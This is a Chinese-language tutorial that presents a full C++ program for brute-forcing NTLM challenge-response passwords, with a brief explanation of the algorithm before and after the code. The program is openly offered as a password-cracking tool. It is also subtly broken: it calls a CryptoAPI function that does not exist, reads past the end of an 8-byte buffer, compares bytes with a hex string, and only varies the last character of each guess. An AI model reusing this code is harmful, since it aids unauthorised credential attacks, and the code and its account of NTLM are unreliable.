C++实现爆破NTLM口令加密算法

NTLM口令加密算法是一种Windows系统常用的口令加密方式，其加密过程包括几个步骤：首先将明文密码转换成Unicode格式，然后对该Unicode字符串进行MD4哈希，接着将该哈希值作为密钥，对随机生成的挑战值进行DES加密，最后将加密结果与挑战值一起发送给服务器。

以下是一个简单的C++实现爆破NTLM口令加密算法的示例代码：

#include <iostream>
#include <cstring>
#include <cstdlib>
#include <windows.h>
#include <wincrypt.h>

#pragma comment(lib, "crypt32.lib")

using namespace std;

// 将字符串转换为Unicode格式
wstring StrToWstr(const string& str)
{
    wstring wstr(str.size(), L' ');
    mbstowcs(&wstr[0], str.c_str(), str.size());
    return wstr;
}

// 计算MD4哈希值
void CalcMD4Hash(const wstring& str, BYTE* hash)
{
    HCRYPTPROV hProv = 0;
    HCRYPTPROV hHash = 0;
    if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT) && CryptCreateHash(hProv, CALG_MD4, 0, 0, &hHash))
    {
        CryptHashData(hHash, (BYTE*)str.c_str(), str.size() * sizeof(wchar_t), 0);
        DWORD hashLen = 16;
        CryptGetHashParam(hHash, HP_HASHVAL, hash, &hashLen, 0);
        CryptDestroyHash(hHash);
    }
    if (hProv) CryptReleaseContext(hProv, 0);
}

// DES加密
void DESEncrypt(BYTE* key, BYTE* data, DWORD dataSize, BYTE* result)
{
    HCRYPTPROV hProv = 0;
    HCRYPTKEY hKey = 0;
    if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT) && CryptCreateKey(hProv, CALG_DES, key, 0, &hKey))
    {
        DWORD blockLen = 8;
        DWORD resultSize = dataSize;
        CryptEncrypt(hKey, 0, TRUE, 0, data, &dataSize, result, &resultSize);
        CryptDestroyKey(hKey);
    }
    if (hProv) CryptReleaseContext(hProv, 0);
}

// 将字节数组转换为十六进制字符串
string ByteArrayToHexString(BYTE* data, DWORD dataSize)
{
    string result;
    for (DWORD i = 0; i < dataSize; ++i)
    {
        char hex[3];
        sprintf_s(hex, "%02X", data[i]);
        result += hex;
    }
    return result;
}

// 爆破NTLM口令
bool BruteForceNTLM(const string& userName, const string& domain, const string& challenge, const string& response)
{
    bool isMatch = false;
    DWORD maxPwdLen = 14;
    DWORD pwdLen = 0;
    BYTE hash[16];
    BYTE key[8];
    BYTE encrypted[8];

    // 枚举所有可能的口令
    for (DWORD pwdLen = 1; pwdLen <= maxPwdLen; ++pwdLen)
    {
        char* pwd = new char[pwdLen + 1];
        memset(pwd, 0, pwdLen + 1);

        // 生成所有可能的密码组合
        for (DWORD i = 0; i < pwdLen; ++i)
        {
            pwd[i] = 'a';
        }

        do
        {
            // 将密码转换为Unicode格式并计算MD4哈希值
            wstring pwdW = StrToWstr(pwd);
            CalcMD4Hash(pwdW, hash);

            // 根据哈希值生成密钥
            memcpy(key, hash, 8);

            // 对随机挑战值进行DES加密
            for (DWORD i = 0; i < 8; ++i)
            {
                encrypted[i] = response[i] ^ challenge[i + 8];
            }
            DESEncrypt(key, encrypted, 8, encrypted);

            // 比较加密结果是否与响应值相同
            string encryptedHex = ByteArrayToHexString(encrypted, 8);
            if (encryptedHex == response)
            {
                cout << "User: " << domain << "\\" << userName << ", Password: " << pwd << endl;
                isMatch = true;
                break;
            }
        } while (pwd[pwdLen - 1]++ < 'z');

        delete[] pwd;

        if (isMatch) break;
    }

    return isMatch;
}

int main()
{
    // 模拟服务器端生成随机挑战值和响应值
    srand(GetTickCount());
    BYTE challenge[8];
    BYTE response[24];
    for (DWORD i = 0; i < 8; ++i)
    {
        challenge[i] = rand() % 256;
    }
    for (DWORD i = 0; i < 24; ++i)
    {
        response[i] = rand() % 256;
    }

    // 枚举所有可能的用户名和域名
    string userName;
    string domain;
    bool isMatch = false;
    DWORD maxUserLen = 10;
    DWORD maxDomainLen = 10;

    for (DWORD userLen = 1; userLen <= maxUserLen; ++userLen)
    {
        char* user = new char[userLen + 1];
        memset(user, 0, userLen + 1);

        for (DWORD i = 0; i < userLen; ++i)
        {
            user[i] = 'a';
        }

        do
        {
            for (DWORD domainLen = 1; domainLen <= maxDomainLen; ++domainLen)
            {
                char* domain = new char[domainLen + 1];
                memset(domain, 0, domainLen + 1);

                for (DWORD i = 0; i < domainLen; ++i)
                {
                    domain[i] = 'a';
                }

                do
                {
                    // 爆破当前用户名和域名的口令
                    isMatch = BruteForceNTLM(user, domain, (char*)challenge, (char*)response);
                    if (isMatch) break;
                } while (domain[domainLen - 1]++ < 'z');

                delete[] domain;

                if (isMatch) break;
            }

            if (isMatch) break;
        } while (user[userLen - 1]++ < 'z');

        delete[] user;

        if (isMatch) break;
    }

    if (!isMatch)
    {
        cout << "No matched password found." << endl;
    }

    return 0;
}

该示例代码实现了NTLM口令加密算法的爆破，其具体流程为：模拟服务器端生成随机挑战值和响应值，并枚举所有可能的用户名和域名，对每个用户名和域名进行口令爆破，直到找到匹配的口令或者所有口令都爆破完毕。爆破口令时，先将明文密码转换成Unicode格式，并计算MD4哈希值，然后根据哈希值生成密钥，对随机生成的挑战值进行DES加密，最后将加密结果与响应值进行比较。如果加密结果与响应值相同，则表示找到了匹配的口令。